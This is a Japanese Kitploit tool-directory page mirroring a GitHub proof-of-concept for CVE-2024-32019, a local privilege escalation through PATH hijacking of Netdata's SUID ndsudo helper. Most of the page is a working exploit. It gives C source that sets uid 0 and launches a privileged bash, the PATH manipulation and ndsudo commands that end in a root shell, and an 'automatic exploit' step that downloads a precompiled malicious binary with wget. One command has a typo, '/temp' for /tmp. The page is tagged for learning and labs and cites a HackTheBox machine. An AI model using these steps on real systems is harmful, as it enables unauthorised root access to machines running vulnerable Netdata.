Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-32019-POC — Netdata ndsudo ローカル権限昇格ワークフローとPoC (CVE-2024-32019) | Kitploit
ツール/GitHubGitHub/juanbelin/cve-2024-32019-poc
特権昇格脆弱性分析エクスプロイトペネトレーションテスト学習と教育ラボと実践
GitHubjuanbelin/cve-2024-32019-poc

CVE-2024-32019-POC

Netdata ndsudo ローカル権限昇格ワークフローとPoC (CVE-2024-32019)

リポジトリを見る
1年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-32019-POC

Netdata ndsudo ローカル特権昇格ワークフローと POC(CVE-2024-32019)

  • ワークフロー
  • 自動エクスプロイト
  • リソース

ワークフロー

[!TIP] お読みください

Netdata は、アプリケーションやシステムの監視を提供するツールです。ポート 19999 で実行されるため、簡単に見つけられます:

root@kitploit:~
test@test:~$ netstat -tuln
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State     

tcp        0      0 127.0.0.1:19999         0.0.0.0:*               LISTEN  

この脆弱性 (CVE-2024-32019) は、次のバージョンに影響します: >= v1.45.0, < v1.45.3, >= v1.44.0-60, < v1.45.0-169。ヘッダーレスポンス内のバージョンを確認するために、リクエストを送信できます:

CVE-2024-32019-1

このエクスプロイトは、プラグインの1つである ndsudo のPATH Hijackingを利用して発生します。ndsudo は通常 /opt/netdata/usr/libexec/netdata/ に配置され、SUIDビットが設定されています。

root@kitploit:~
test@test:~$ find / -name ndsudo 2> /dev/null
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo
CVE-2024-32019-2

--help を使って何ができるかを確認できます。

root@kitploit:~
$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo --help

ndsudo

(C) Netdata Inc.

A helper to allow Netdata run privileged commands.

  --test
    print the generated command that will be run, without running it.

  --help
    print this message.

The following commands are supported:

- Command    : nvme-list
  Executables: nvme 
  Parameters : list --output-format=json

- Command    : nvme-smart-log
  Executables: nvme 
  Parameters : smart-log {{device}} --output-format=json

- Command    : megacli-disk-info
  Executables: megacli MegaCli 
  Parameters : -LDPDInfo -aAll -NoLog

- Command    : megacli-battery-info
  Executables: megacli MegaCli 
  Parameters : -AdpBbuCmd -aAll -NoLog

- Command    : arcconf-ld-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 LD

- Command    : arcconf-pd-info
  Executables: arcconf 
  Parameters : GETCONFIG 1 PD

The program searches for executables in the system path.

Variables given as {{variable}} are expected on the command line as:
  --variable VALUE

VALUE can include space, A-Z, a-z, 0-9, _, -, /, and .
root@kitploit:~
test@test:~$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info
arcconf : not available in PATH.

見てわかるように、スクリプトには実行ファイルを探すための複数のコマンドが用意されているため、これを利用して、PATH環境変数に追加できるパス内に、それらの実行ファイルのいずれかと同じ名前の独自の実行ファイルを作成できます。

Netdata は C を使用しているため、スクリプトをCで作成し、コンパイルする必要があります。

CVE-2024-32019
root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", "-p", NULL);
    perror("execl");
    return 1;
}
root@kitploit:~
gcc arcconf.c -o arcconf

次に、前述したとおり、スクリプトのパスを $PATH に追加します。

root@kitploit:~
test@test:/tmp$ PATH=/tmp:$PATH

最後に、悪意のある実行ファイルを指すコマンド (arcconf-pd-info -> arcconf) を実行するだけで、特権シェルが得られます。

root@kitploit:~
test@test:/tmp$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-pd-info
root@editor:/tmp# whoami
root

自動エクスプロイト

前述の例のように、root として bash を提供する、コンパイル済みの C 製の悪意のあるスクリプトをダウンロードできます:

root@kitploit:~
wget https://github.com/juanbelin/CVE-2024-32019-POC/raw/refs/heads/main/arcconf 
root@kitploit:~
mv arcconf /tmp #If your target has Internet connectivity

scp ./arcconf test@test:/tmp/arcconf #If your target does not have Internet connectivity
root@kitploit:~
PATH=:/temp:$PATH
root@kitploit:~
/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo arcconf-ld-info #The ndsudo path may change 

リソース

  • https://learn.netdata.cloud/docs/collecting-metrics/

  • https://github.com/netdata/netdata/security/advisories/GHSA-pmhq-4cxq-wj93

  • https://app.hackthebox.com/machines/684

ツールをダウンロード